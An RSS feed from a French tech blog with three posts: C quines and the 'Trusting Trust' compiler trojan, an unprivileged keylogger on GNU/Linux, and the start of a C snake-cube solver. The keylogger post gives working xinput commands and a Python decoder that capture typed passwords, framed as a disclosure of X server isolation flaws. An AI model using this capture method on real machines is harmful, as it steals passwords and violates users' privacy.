<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>®om&#039;s blog &#187; Astuces</title>
	<atom:link href="http://blog.rom1v.com/category/astuces/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.rom1v.com</link>
	<description>Un blog libre</description>
	<lastBuildDate>Thu, 02 Feb 2012 20:03:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Programmes auto-reproducteurs (quines)</title>
		<link>http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/</link>
		<comments>http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 21:14:17 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[compilateur]]></category>
		<category><![CDATA[développement]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3308</guid>
		<description><![CDATA[Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source&#160;? Si vous n&#8217;avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n&#8217;est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie… Un [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/quine.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/quine-300x253.jpg" alt="" title="quine" width="300" height="253" class="alignright size-medium wp-image-3319" /></a></p>
<p>Vous êtes-vous déjà demandé comment écrire <strong>un programme qui génère son propre code source</strong>&nbsp;? Si vous n&#8217;avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n&#8217;est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…</p>
<p>Un tel programme s&#8217;appelle un <a href="http://fr.wikipedia.org/wiki/Quine_%28informatique%29">quine</a>. Et il est <a href="http://fr.wikipedia.org/wiki/Théorème_de_récursion_de_Kleene">prouvé</a> qu&#8217;avec tout langage de programmation il existe un <em>quine</em> (une infinité&nbsp;?). <a href="http://www.madore.org/~david/computers/quine.html">Cette page</a> détaille un peu plus la théorie.</p>
<p>Des exemples sont déjà écrits <a href="http://www.nyx.net/~gthompso/quine.htm">pour plein de langages</a>.</p>
<h3>Quine simple</h3>
<p>Voici un programme auto-reproducteur simple en <em>C</em>&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}</pre>
<p>Nous pouvons tester, ce programme se génère bien lui-même&nbsp;:</p>
<pre>$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}</pre>
<p><em>(essayez de l&#8217;écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)</em></p>
<p>L&#8217;essentiel de l&#8217;astuce ici est de passer la chaîne «&nbsp;<code>s</code>&nbsp;» à la fois en tant que format et d&#8217;argument de <code>printf</code>.</p>
<p>Ce n&#8217;est pas sans poser de problèmes&nbsp;: dans la déclaration de la chaîne <code>s</code>, nous ne pouvons pas écrire «&nbsp;<code>"</code>&nbsp;» (évidemment), ni «&nbsp;<code>\"</code>&nbsp;», car alors il faudrait que le programme génère le «&nbsp;<code>\"</code>&nbsp;», donc le «&nbsp;<code>"</code>&nbsp;», ce que précisément nous cherchons à faire. L&#8217;astuce est donc d&#8217;utiliser son code <a href="http://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange">ASCII</a> (<code>34</code>), inséré grâce aux «&nbsp;<code>%c</code>&nbsp;». Le code <code>10</code>, quant à lui, correspond au <a href="http://fr.wikipedia.org/wiki/Saut_de_ligne">saut de ligne</a>.</p>
<h3>Quine alternatif</h3>
<p>Nous pouvons imaginer deux programmes qui se génèrent l&#8217;un-l&#8217;autre&nbsp;: un programme <em>A</em> génère un code source <em>B</em>, tel que le programme <em>B</em> génère le code source <em>A</em>.</p>
<p>À partir de l&#8217;exemple précédent, c&#8217;est trivial, il suffit de rajouter une variable (que j&#8217;ai appelée «&nbsp;<code>f</code>&nbsp;» comme «&nbsp;<em>flag</em>&nbsp;») dont on alterne la valeur&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){int f=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}</pre>
<p>La valeur de <code>f</code> alterne entre <em>0</em> et <em>1</em>&nbsp;:</p>
<pre>$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){int f=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){int f=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){int f=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}</pre>
<h3>Quasi-quine</h3>
<p>Il est également possible d&#8217;écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais &laquo;&nbsp;boucler&nbsp;&raquo;.<br />
Je me suis amusé à en écrire deux exemples.</p>
<h4>Fibonacci</h4>
<p>Le premier calcule la <a href="http://fr.wikipedia.org/wiki/Suite_de_Fibonacci">suite de Fibonacci</a>. Ou plutôt, il contient les deux premiers éléments de la suite (<em>F(0)=0</em> et <em>F(1)=1</em>), génère un programme qui contiendra <em>F(1)</em> et <em>F(2)</em>, qui lui-même générera un programme qui contiendra <em>F(2)</em> et <em>F(3)</em>, etc.&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){int a=<strong>0</strong>,b=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}</pre>
<p>Pour obtenir <em>F(10)</em> et <em>F(11)</em> (suivre les valeurs des variables <code>a</code> et <code>b</code>)&nbsp;:</p>
<pre>$ for i in {1..10}; do gcc quine.c &#038;&#038; ./a.out | tee quine.c; done
#include&lt;stdio.h&gt;
main(){int a=<strong>1</strong>,b=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>1</strong>,b=<strong>2</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>2</strong>,b=<strong>3</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>3</strong>,b=<strong>5</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>5</strong>,b=<strong>8</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>8</strong>,b=<strong>13</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>13</strong>,b=<strong>21</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>21</strong>,b=<strong>34</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>34</strong>,b=<strong>55</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>55</strong>,b=<strong>89</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}</pre>
<p>Ce que je trouve fabuleux, c&#8217;est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c&#8217;est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. <b>Chaque programme transmet en quelque sorte son <em>code génétique</em> à sa descendance.</b></p>
<h4>PGCD</h4>
<p>Suivant le même principe, il est possible de calculer le <a href="http://fr.wikipedia.org/wiki/Plus_grand_commun_diviseur">PGCD</a> de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l&#8217;<a href="http://fr.wikipedia.org/wiki/Algorithme_d%27Euclide">algorithme d&#8217;Euclide</a>.</p>
<p>Cet exemple permet de calculer <em>PGCD(64,36)</em>&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){int a=<strong>64</strong>,b=<strong>36</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}</pre>
<p>Le caractère «&nbsp;<code>%</code>&nbsp;» ayant une signification dans le formatage de <code>printf</code>, nous devons le doubler.<br />
<em>Nous aurions pu utiliser à la place <code>a-a/b*b</code> (ce qui revient à peu près au même, si <code>a</code> et <code>b</code> sont positifs avec <code>a&gt;b</code>).</em></p>
<p>Voici le résultat (suivre les valeurs des variables <code>a</code> et <code>b</code>)&nbsp;:</p>
<pre>$ for i in {1..5}; do gcc quine.c &#038;&#038; ./a.out | tee quine.c; done
#include&lt;stdio.h&gt;
main(){int a=<strong>36</strong>,b=<strong>28</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>28</strong>,b=<strong>8</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>8</strong>,b=<strong>4</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>4</strong>,b=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>4</strong>,b=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}</pre>
<p>Une fois la solution trouvée (lorsque <code>b</code> vaut <em>0</em>), le programme se comporte comme un vrai <em>quine</em> (il se regénère à l&#8217;identique).</p>
<h3>Compilateur magique</h3>
<p>Passons maintenant à l&#8217;étape suivante. Jusqu&#8217;à maintenant, nous avons généré un programme qui génère un autre programme… Très bien.<br />
Mais ces programmes générés (en fait, leur code source), nous les compilons avec un <a href="http://fr.wikipedia.org/wiki/Compilateur">compilateur</a> (<code>gcc</code>).</p>
<p>Mais un compilateur, c&#8217;est un programme, qui en plus est <a href="http://fr.wikipedia.org/wiki/Compilateur#Le_probl.C3.A8me_de_l.27amor.C3.A7age_.28bootstrap.29">écrit dans le langage qu&#8217;il doit compiler</a>. En particulier, le compilateur <em>C</em> est écrit en <em>C</em>.</p>
<p>À partir là, il est possible de faire des choses très intéressantes, comme l&#8217;a expliqué en 1984 <a href="http://fr.wikipedia.org/wiki/Ken_Thompson">Ken Thompson</a> dans son célèbre article «&nbsp;<em><a href="http://cm.bell-labs.com/who/ken/trust.html">Reflections on Trusting Trust</a></em>&nbsp;» (que je vais paraphraser).</p>
<p>Le code suivant est une idéalisation du code du compilateur C qui interprète le <a href="http://fr.wikipedia.org/wiki/Caract%C3%A8re_d%27%C3%A9chappement">caractère d&#8217;échappement</a>&nbsp;:</p>
<pre>c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';</pre>
<p>C&#8217;est &laquo;&nbsp;magique&nbsp;&raquo;&nbsp;: le programme <em>sait</em>, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n&#8217;importe quel jeu de caractères. Le fait qu&#8217;il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.</p>
<p>Supposons que nous voulions rajouter le caractère spécial «&nbsp;<code>\v</code>&nbsp;» pour écrire une &laquo;&nbsp;tabulation verticale&nbsp;&raquo;&nbsp;:</p>
<pre>c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';</pre>
<p>Évidemment, ce code ne compile pas, car le compilateur ne connaît pas «&nbsp;<code>\v</code>&nbsp;». Mais il suffit de lui apprendre&nbsp;: le code <a href="http://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange">ASCII</a> de la tabulation verticale est <code>11</code>. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version&nbsp;:</p>
<pre>c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;</pre>
<p>La nouvelle version du compilateur accepte maintenant «&nbsp;<code>\v</code>&nbsp;», et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le «&nbsp;<code>11</code>&nbsp;» peut donc être totalement supprimé et oublié.</p>
<p><em>C&#8217;est un concept profond.</em> Il suffit de lui dire une fois, l&#8217;auto-référencement fait le reste.</p>
<h4>Cheval de Troie (quasi-)indétectable</h4>
<p>Considérons alors la fonction <code>compile(s)</code> permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu&#8217;un motif est détecté&nbsp;:</p>
<pre>void compile(char * s) {
    if (match(s, "pattern")) {
        compile("bug");
        return;
    }
    …
}</pre>
<p>Supposons que le motif permette d&#8217;identifier la commande <code>login</code>, et que le <em>bug</em> (<a href="http://fr.wikipedia.org/wiki/Cheval_de_Troie_%28informatique%29">cheval de Troie</a>) compilé permette d&#8217;accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque&nbsp;: nous pourrions, en connaissant ce &laquo;&nbsp;faux&nbsp;&raquo; mot de passe, nous connecter sur n&#8217;importe quelle machine possédant le programme <code>login</code> compilé avec ce compilateur.</p>
<p>Mais évidemment, un tel bout de code dans le <em>compilateur C</em> ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l&#8217;ultime étape&nbsp;:</p>
<pre>void compile(char * s) {
    if (match(s, "pattern1")) {
        compile("bug1");
        return;
    }
    if (match(s, "pattern2")) {
        compile("bug2");
        return;
    }
    …
}</pre>
<p>Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande <code>login</code>, tandis que le second motif correspond au <em>compilateur C</em>. <strong>Le second <em>bug</em> est un programme auto-reproducteur</strong> (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d&#8217;apprentissage comme dans l&#8217;exemple avec «&nbsp;<code>\v</code>&nbsp;». Nous compilons d&#8217;abord la source ainsi modifiée avec le <em>compilateur C</em> normal pour générer un binaire corrompu, que nous utilisons désormais comme <em>compilateur C</em>. Maintenant, nous pouvons supprimer les <em>bugs</em> de la source, le nouveau compilateur va les réinsérer à chaque fois qu&#8217;il sera compilé.</p>
<p><strong>Ainsi, en compilant un code source &laquo;&nbsp;propre&nbsp;&raquo; avec un compilateur dont le code source est &laquo;&nbsp;propre&nbsp;&raquo; et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie&nbsp;!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier</title>
		<link>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/</link>
		<comments>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 22:09:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[serveur x]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3212</guid>
		<description><![CDATA[En tant que root, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c&#8217;est tout [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png" alt="" title="keyboard" width="128" height="128" class="alignright size-full wp-image-3235" /></a><br />
En tant que <a href="http://fr.wikipedia.org/wiki/Utilisateur_root"><em>root</em></a>, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (<a href="http://fr.wikipedia.org/wiki/Enregistreur_de_frappe">keylogger</a>).</p>
<p>Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être <em>root</em>.</p>
<h3>Démonstration</h3>
<p>Et en plus, c&#8217;est tout simple&nbsp;: il suffit pour un programme d&#8217;écouter les événements clavier envoyés par le <a href="http://fr.wikipedia.org/wiki/X_Window_System">serveur X</a>.<br />
Prenons un outil qui le fait déjà (ça nous évitera de le coder), <code>xinput</code>&nbsp;:</p>
<pre>apt-get install xinput</pre>
<p>Pour obtenir la liste des périphériques utilisables&nbsp;:</p>
<pre>xinput list</pre>
<p>Repérer la ligne concernant le clavier (contenant «&nbsp;<code>AT</code>&nbsp;») et noter son <em>id</em> (ici <code>11</code>).</p>
<pre>$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]</pre>
<p>Puis démarrer l&#8217;écoute sur ce périphérique dans un terminal&nbsp;:</p>
<pre>xinput test 11</pre>
<p>Au fur et à mesure que l&#8217;on tape du texte, la sortie standard de <code>xinput</code> indique quelles touches sont tapées&nbsp;:</p>
<pre>key press   56
key release 56
key press   32
key release 32
key press   57
key release 57
key press   44
key release 44
key press   32
key press   30
key release 32
key release 30
key press   27
key release 27</pre>
<p>Cela fonctionne même lorsqu&#8217;on écrit dans une autre application, quelque soit l&#8217;utilisateur qui l&#8217;a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé&nbsp;:</p>
<pre>$ su -
Mot de passe : </pre>
<p>Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l&#8217;enregistrer, l&#8217;envoyer à un serveur…).</p>
<h3>Décodage</h3>
<h4>Convertisseur</h4>
<p>La sortie de <code>xinput</code> n&#8217;est pas très utilisable en pratique. Pour la décoder, un programme d&#8217;une vingtaine de lignes en <em>Python</em> suffit (fortement inspiré de <a href="http://ardoris.wordpress.com/2011/04/24/linux-keylogger-proof-of-concept/">ce PoC</a>). Appelons-le <a href="http://dl.rom1v.com/keylogger/xinput-decoder.py"><code>xinput-decoder.py</code></a>&nbsp;:</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,</pre>
<p>Pour convertir le résultat à la volée&nbsp;:</p>
<pre>xinput test 11 | ./xinput-decoder.py</pre>
<h4>Problème de redirection</h4>
<p>Le problème, c&#8217;est que lorsqu&#8217;on redirige la sortie de <code>xinput</code> dans un fichier ou en entrée d&#8217;un autre programme, le contenu ne s&#8217;affiche que par salves (d&#8217;environ 128 caractères apparemment). Sans doute une histoire de <a href="http://fr.wikipedia.org/wiki/M%C3%A9moire_tampon">buffer</a>, à mon avis activé uniquement lorsque la fonction <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html"><code>isatty()</code></a> retourne <em>true</em>.</p>
<p>Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un <code>screen</code>&nbsp;:</p>
<pre>screen xinput test 11</pre>
<p>puis, à la fin de la capture, d&#8217;enregistrer le contenu dans un fichier. Pour cela, dans le <code>screen</code> ainsi ouvert, taper <code>Ctrl+A</code>, <code>:</code>, puis <code>hardcopy -h /tmp/log</code>.<br />
De cette manière, <code>/tmp/log</code> contiendra toute la capture.</p>
<p>Pour convertir le résultat&nbsp;:</p>
<pre>$ ./xinput-parser.py &lt; /tmp/log
s u space minus Return <em>mon mot de passe root</em> Return a p t minus g e t space u p d a t e Return Control_L a colon</pre>
<h4>Améliorations</h4>
<p>Une solution plus pratique serait peut-être de démarrer <code>xinput</code> par le programme <em>Python</em>, en lui faisant croire qu&#8217;il écrit dans un <em>TTY</em> (ce que je ne sais pas faire). <a href="http://www.kirsle.net/blog/kirsle/building-a-better-keylogger">Quelqu&#8217;un</a> l&#8217;a fait <a href="http://sh.kirsle.net/keylog2">en <em>Perl</em></a>.<br />
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu&#8217;il affiche «&nbsp;<code>Shift_L a b</code>&nbsp;», nous n&#8217;avons aucun moyen de savoir si la touche <code>Shift</code> a été relâchée avant le <code>a</code>, entre le <code>a</code> et le <code>b</code>, ou après le <code>b</code>.</p>
<h3>Liens</h3>
<p>Merci à <a href="http://papillon-butineur.blogspot.com/2011/10/keylogger-sous-linux.html">Papillon-butineur</a> de m&#8217;avoir fait découvrir ce fonctionnement étonnant du <em>serveur X</em>.<br />
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires&nbsp;: <a href="http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html">The Linux Security Circus: On GUI isolation</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Résoudre le cube-serpent 300 fois plus rapidement en C</title>
		<link>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/</link>
		<comments>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 23:33:00 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[développement]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3104</guid>
		<description><![CDATA[Il y a 3 semaines, j&#8217;avais écrit un solveur de cube-serpent en Python. Un commentaire, en apparence anodin, m&#8217;a mis dans la tête une question que je ne pouvais pas laisser sans réponse&#160;: combien de fois plus rapidement s&#8217;exécuterait le même algorithme implémenté en C que celui en Python (interprêté)&#160;? 2×&#160;? 10×&#160;? 50×&#160;? Pour y [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/10/gccegg-65.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/10/gccegg-65.png" alt="" title="gccegg-65" width="109" height="130" class="alignright size-full wp-image-3147" /></a><br />
Il y a 3 semaines, j&#8217;avais écrit un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/">solveur de cube-serpent en <em>Python</em></a>.</p>
<p>Un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72561">commentaire</a>, en apparence anodin, m&#8217;a mis dans la tête une question que je ne pouvais pas laisser sans réponse&nbsp;: <strong>combien de fois plus rapidement s&#8217;exécuterait le même algorithme implémenté en <a href="http://fr.wikipedia.org/wiki/C_%28langage%29">C</a> que celui en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> (interprêté)&nbsp;?</strong> 2×&nbsp;? 10×&nbsp;? 50×&nbsp;?</p>
<p>Pour y répondre, il fallait donc implémenter le même algorithme en <em>C</em>. En plus, c&#8217;était l&#8217;occasion de rendre hommage à <a href="http://www.pcinpact.com/actu/news/66368-dennis-ritchie-deces-langage-c-unix.htm">Dennis Ritchie</a>. Après avoir découvert <em>Python</em>, j&#8217;ai donc (ré)appris le <em>C</em> (et ça fait drôle de rejouer avec les pointeurs après plusieurs années&nbsp;!). </p>
<h3>Implémentation</h3>
<p>Je ne vais pas m&#8217;attarder sur l&#8217;algorithme, c&#8217;est exactement le même principe que sur mon billet précédent, et j&#8217;ai essayé de garder les mêmes noms de fonctions.</p>
<p>La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par <a href="http://c.developpez.com/cours/bernard-cassagne/node104.php">macro</a> (les fameux <code>#define</code>). Par rapport au programme <em>Python</em>, il faut en plus préciser la taille des tableaux.</p>
<p>La seule partie que j&#8217;ai réimplémentée complètement différemment est la fonction <code>get_useful_points</code> de la version <em>Python</em> (souvenez-vous, avec des <a href="http://docs.python.org/reference/expressions.html#yieldexpr">yield</a>s dans une <a href="http://fr.wikipedia.org/wiki/Fonction_r%C3%A9cursive">fonction récursive</a>). La fonction équivalente dans la version <em>C</em> s&#8217;appelle <code>symmetry_helper_inc_cursor(int cursor[])</code>&nbsp;: au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point &laquo;&nbsp;suivant&nbsp;&raquo; de celui passé en paramètre.</p>
